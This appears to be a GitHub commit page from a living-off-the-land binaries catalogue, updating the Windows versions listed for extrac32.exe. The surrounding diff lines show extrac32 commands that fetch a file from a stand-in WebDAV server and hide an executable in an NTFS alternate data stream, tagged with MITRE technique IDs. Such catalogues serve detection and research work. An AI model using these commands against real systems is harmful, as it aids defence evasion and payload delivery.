Skip to content

Commit

Permalink
Adding more operating systems to extrac32.exe (#387)
Browse files Browse the repository at this point in the history
Co-authored-by: Wietze <[email protected]>
  • Loading branch information
TAbdiukov and wietze authored Aug 17, 2024
1 parent e09cf10 commit 5826e4d
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions yml/OSBinaries/Extrac32.yml
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ Commands:
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
Expand All @@ -19,7 +19,7 @@ Commands:
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Expand All @@ -28,14 +28,14 @@ Commands:
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
Description: Command for copying calc.exe to another folder
Usecase: Copy file
Category: Copy
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
- Path: C:\Windows\System32\extrac32.exe
- Path: C:\Windows\SysWOW64\extrac32.exe
Expand Down

0 comments on commit 5826e4d

Please sign in to comment.